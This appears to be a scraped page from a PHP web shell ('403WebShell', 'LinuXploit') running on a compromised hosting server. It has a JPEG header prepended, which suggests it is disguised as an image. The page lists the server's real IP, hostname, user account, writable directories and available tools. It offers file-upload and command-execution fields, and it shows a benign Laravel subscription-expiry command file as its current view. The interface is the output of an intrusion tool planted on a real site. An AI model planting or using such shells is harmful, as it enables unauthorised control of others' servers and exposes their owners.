����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.187.205
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.bofirm.com/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.bofirm.com/app/Console/Commands/ExpireSubscriptions.php
<?php
/**
 * File name: ExpireSchedules.php
 * Last modified: 18/07/21, 11:53 AM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Console\Commands;

use App\Models\Subscription;
use App\Settings\LocalizationSettings;
use Carbon\Carbon;
use Illuminate\Console\Command;

class ExpireSubscriptions extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'expire:subscriptions';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Command to expire expire schedules after passing end date time';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return int
     */
    public function handle()
    {
        $localization = app(LocalizationSettings::class);
        $now = Carbon::now()->timezone($localization->default_timezone);

        // fetch all the subscriptions that passed end date
        $subscriptions = Subscription::where('ends_at', '<=', $now->toDateTimeString())
            ->where('status', '=', 'active')->get();

        //set status as expired
        foreach ($subscriptions as $subscription) {
            $subscription->status = 'expired';
            $subscription->update();
        }
        return 1;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit